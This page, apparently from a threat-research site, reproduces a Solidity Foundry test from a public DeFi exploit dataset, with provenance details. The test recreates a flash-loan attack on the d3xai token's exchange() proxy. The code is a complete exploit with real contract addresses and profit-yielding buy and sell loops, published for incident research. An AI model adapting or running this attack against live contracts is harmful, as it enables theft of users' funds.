Public reproduction file
src/test/2025-08/d3xai_exp.sol
Public reproduction file for dataset entry d3xai.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 190 BNB8// Attacker : https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d9// Attack Contract : https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c10// Vulnerable Contract : N/A11// Attack Tx : https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f13// @Info14// Vulnerable Contract Code : N/A16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/suplabsyi/status/195669559754689359819// Hacking God : N/A20pragma solidity ^0.8.0;22address constant PANCAKE_V3_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;23address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;24address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;25address constant PROXY = 0xb8ad82c4771DAa852DdF00b70Ba4bE57D22eDD99;26address constant D3XAT = 0x2Cc8B879E3663d8126fe15daDaaA6Ca8D964BbBE;28contract d3xai is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 57780985 - 1;31 uint256 numPancakeOperRound = 27;32 address[] public pancakeBuyers = new address[](numPancakeOperRound);33 address[] public pancakeSellers = new address[](numPancakeOperRound);35 uint256 numProxyOperRound = 2;36 address[] public proxyBuyers = new address[](numProxyOperRound);37 ProxySeller proxySeller;39 function setUp() public {40 vm.createSelectFork("bsc", blocknumToForkFrom);41 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit42 fundingToken = USDT_ADDR;44 ProxyBuyerHelper proxyBuyerHelper = new ProxyBuyerHelper();45 for (uint256 i = 0; i < proxyBuyers.length; i++) {46 ProxyBuyer buyer = new ProxyBuyer(address(proxyBuyerHelper));47 proxyBuyers[i] = address(buyer);48 }49 proxySeller = new ProxySeller();51 PancakeBuyerHelper pancakeBuyerHelper = new PancakeBuyerHelper();52 for (uint256 i = 0; i < pancakeBuyers.length; i++) {53 PancakeBuyer buyer = new PancakeBuyer(address(pancakeBuyerHelper));54 pancakeBuyers[i] = address(buyer);55 }56 for (uint256 i = 0; i < pancakeSellers.length; i++) {57 PancakeSeller seller = new PancakeSeller();58 pancakeSellers[i] = address(seller);59 }60 }62 function testExploit() public balanceLog {63 // Root cause: the proxy’s exchange() lets us buy low / sell high64 // Attacker exploits it using a convoluted multi-step flow66 // Step 1: flash loan 20M USDT67 uint256 borrowAmount = 20_000_000 ether;68 IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowAmount, 0, "");69 }71 function pancakeV3FlashCallback(72 uint256 fee0,73 uint256 fee1,74 bytes calldata data75 ) public {76 IERC20 usdt = IERC20(USDT_ADDR);78 // Step 2: spends 24k USDT to buy D3XAT via the exchange()79 address[] memory USDT_D3XAT_PATH = new address[](2);80 USDT_D3XAT_PATH[0] = USDT_ADDR;81 USDT_D3XAT_PATH[1] = D3XAT;82 uint256 balStart = usdt.balanceOf(address(this));83 for (uint256 i = 0; i < proxyBuyers.length; i++) {84 ProxyBuyer buyer = ProxyBuyer(proxyBuyers[i]);85 uint256 amountOut = 9000 ether;86 (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);87 uint256 amountIn = amounts[0];89 usdt.approve(address(buyer), amountIn);90 buyer.buy(PROXY, USDT_ADDR, D3XAT, address(proxySeller), amountIn);91 }93 // Step 3: spend ~6.18M USDT to buy D3XAT from Pancake Router94 for (uint256 i = 0; i < pancakeBuyers.length; i++) {95 PancakeBuyer buyer = PancakeBuyer(pancakeBuyers[i]);96 uint256 amountOut = 9900 ether;97 (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);98 uint256 amountIn = amounts[0];99 usdt.approve(address(buyer), amountIn);100 buyer.buy(USDT_ADDR, D3XAT, pancakeSellers[i], amountIn);101 }103 // Step 4: sell D3XAT from Step 2 via the exchange(). Gain 22.5k USDT104 for (uint256 i = 0; i < 30; i++) {105 uint256 amount = 29740606898687781957;106 try proxySeller.sell(PROXY, D3XAT, USDT_ADDR, amount, address(this)) {107 } catch {108 break;109 }110 }112 // Step 5: sell D3XAT from Step 3 to Pancake Router. Gain ~6.11M USDT113 IERC20 d3xat = IERC20(D3XAT);114 for (uint256 i = 0; i < pancakeSellers.length; i++) {115 PancakeSeller seller = PancakeSeller(pancakeSellers[i]);116 if (d3xat.balanceOf(address(seller)) > 0) {117 seller.sell(USDT_ADDR, D3XAT, address(this));118 }119 }121 IERC20(USDT_ADDR).transfer(PANCAKE_V3_POOL, 20_000_000 ether + fee0);122 }123}125contract PancakeBuyerHelper {126 // 0xacfca76f127 function buy(address token1, address token2, address receiver, uint256 amount) public {128 IERC20 usdt = IERC20(token1);129 IERC20 d3xat = IERC20(token2);130 usdt.transferFrom(msg.sender, address(this), amount);131 usdt.approve(PANCAKE_ROUTER, amount);133 address[] memory path = new address[](2);134 path[0] = token1;135 path[1] = token2;137 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);138 uint256 bal = d3xat.balanceOf(address(this));139 d3xat.transfer(receiver, bal);140 }141}143contract PancakeBuyer {144 address targetContract;145 constructor(address target) {146 targetContract = target;147 }148 // 0xacfca76f149 function buy(address token1, address token2, address receiver, uint256 amount) public {150 (bool success, bytes memory result) = targetContract.delegatecall(151 abi.encodeWithSignature("buy(address,address,address,uint256)", token1, token2, receiver, amount)152 );153 }154}156contract PancakeSeller {157 // 0x83b95948158 function sell(address tokenOut, address tokenIn, address receiver) public {159 IERC20 d3xat = IERC20(tokenIn);160 IERC20 usdt = IERC20(tokenOut);161 uint256 d3Bal = d3xat.balanceOf(address(this));162 d3xat.approve(PANCAKE_ROUTER, d3Bal);163 address[] memory path = new address[](2);164 path[0] = tokenIn;165 path[1] = tokenOut;166 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(d3Bal, 0, path, address(this), block.timestamp);167 uint256 bal = usdt.balanceOf(address(this));168 usdt.transfer(receiver, bal);169 }170}172contract ProxyBuyerHelper {173 // 0xe09618e9174 function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {175 IERC20 usdt = IERC20(token1);176 IERC20 d3xat = IERC20(token2);177 usdt.transferFrom(msg.sender, address(this), amount);178 usdt.approve(proxy, amount);180 address[] memory path = new address[](2);181 path[0] = token1;182 path[1] = token2;184 IProxy(proxy).exchange(token1, token2, amount);185 uint256 bal = d3xat.balanceOf(address(this));186 d3xat.transfer(receiver, bal);187 }188}190contract ProxyBuyer {191 address targetContract;192 constructor(address target) {193 targetContract = target;194 }195 // 0xe09618e9196 function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {197 (bool success, bytes memory result) = targetContract.delegatecall(198 abi.encodeWithSignature("buy(address,address,address,address,uint256)", proxy, token1, token2, receiver, amount)199 );200 }201}204contract ProxySeller {205 // 0x82839fae206 function sell(address proxy, address fromToken, address toToken, uint256 amount, address receiver) public {207 IERC20 d3xat = IERC20(fromToken);208 IERC20 usdt = IERC20(toToken);209 uint256 d3Bal = d3xat.balanceOf(address(this));210 d3xat.approve(proxy, amount);211 IProxy(proxy).exchange(fromToken, toToken, amount);212 uint256 bal = usdt.balanceOf(address(this));213 usdt.transfer(receiver, bal);214 }215}218interface IProxy {219 function exchange(address fromToken, address toToken, uint256 amount) external;220}Analysis
Dataset entry
Public Foundry test for “d3xai” (2025-08-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4b63c0cf524f71847ea05b59f3077a224d922e8d
- Attack Contract
0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c
- Attack Tx
0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f
File record
- Name
- d3xai
- Path
- src/test/2025-08/d3xai_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 32022d05067026aaaafb4512cd44d357d0a7005f
- Language
- Solidity
- Size
- 221 lines
- Date
- 2025-08-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/d3xai_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 32022d05067026aaaafb4512cd44d357d0a7005f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.